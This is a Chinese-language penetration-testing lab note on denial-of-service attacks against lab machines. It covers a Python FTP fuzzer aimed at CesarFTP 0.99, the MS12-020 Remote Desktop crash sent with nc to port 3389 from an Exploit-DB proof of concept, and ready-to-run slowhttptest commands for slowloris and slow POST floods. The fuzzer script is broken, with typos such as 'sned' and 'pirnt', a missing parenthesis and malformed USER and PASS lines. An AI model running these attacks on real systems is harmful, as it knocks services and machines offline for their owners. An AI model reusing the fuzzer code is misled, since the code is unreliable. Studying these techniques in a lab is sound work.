应用服务漏洞
- 服务代码存在漏洞,遇异常提交数据时程序崩溃
-
缓冲区溢出漏洞
向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
- 影响: 远程代码执行、DOS
-
CesarFTP 0.99 服务漏洞
流量很小
- 21端口
服务器:winXP
安装CeaserFTP
设置账号:anonymous
攻击者kali
./ftp_fuzz.py 192.168.1.127 21 A 100 2000
填写账户密码,尝试各种命令(PWD、MKD、RMD)和各种发送内容(AA、ABCD)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import sys
if len(sys.argv) != 6:
print "用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]"
print "举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000"
ip = str(sys.argv[1])
port = int(sys.argv[2])
char = sys.argv[3]
i = int(sys.argv[4]
step = int(sys.argv[4])
max = int(sys.argv[5])
user = raw_input(str("FTP账号: "))
passwd = raw_input(str("FTP密码: "))
command = raw_input(str("FTP命令: "))
while i <= max:
try:
payload = command + " " + (char * i)
#payload = command + " " + ('\n' * i) #这个是本测试里的特殊字符
print "已发送" + str(i) + "个 (" + char + ")"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((ip,port))
s.recv(2014)
s.send('USER' + user + '\r\n')
s.recv(2014)
s.send('PASS' + passwd + '\r\n')
s.recv(2014)
s.send(payload + '\r\n')
s.sned('QUIT\r\n')
s.recv(2014)
s.close()
i = i + step
except:
pirnt "\n服务已崩溃"
sys.exit()
print "\n未发现缓冲区溢出漏洞"
MS12-020 远程桌面协议DOS漏洞
服务器winXP
防火墙开启远程桌面
攻击者kali
searchsploit ms12-020
searchsploit -p 18606.txt
cp /usr/share/exploitdb/exploits/windows/dos/18606.txt . #拷贝
mv 18606.txt MS12-020.txt
leafpad/cat MS12-020.txt #打开看看
#发现要下载http://aluigi.org/poc/termdd_1.dat
nc 192.168.1.127 3389 < termdd_1.dat #使用
#发了五六次之后,就蓝屏重启了
#再发一次之后,就直接重启了!
Slowhttptest(源自谷歌)
- 低带宽应用层慢速DOS攻击(相对于CC等快速攻击而言的慢速)
- 最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
-
攻击方法
Slowloris、Slow HTTP POST 攻击
耗尽应用的并发连接池,类似于Http层的Syn flood
- HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整 服务器时钟为其保留连接资源池占用,此类大量并发将导致DOS
- Slowloris: 完整的http请求结尾是\r\n\r\n, 攻击发\r\n……
- Slow POST: HTTP头content-length声明长度,但body部分缓慢发送
Slow Read attack攻击
- 与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
- 不同之处在于请求正常发送,但慢速读取响应数据
- 攻击者调整TCP window窗口大小,使得服务器慢速返回数据
Apache Range Header attack
- 客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
- 耗尽服务器CPU、内存资源
服务器:metasploitable
攻击者kali
apt-getinstall slowhttptest
man slowhttptest
ulimit -n 70000 #增加可承载数量
HTTP POST攻击模式
slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB
-u http://1.1.1.1 -x 10 -p 3
slowloris 攻击模式
slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://
1.1.1.1 -x 24 -p 3
支持代理
大部分应用服务器和安全设备都无法防护慢速攻击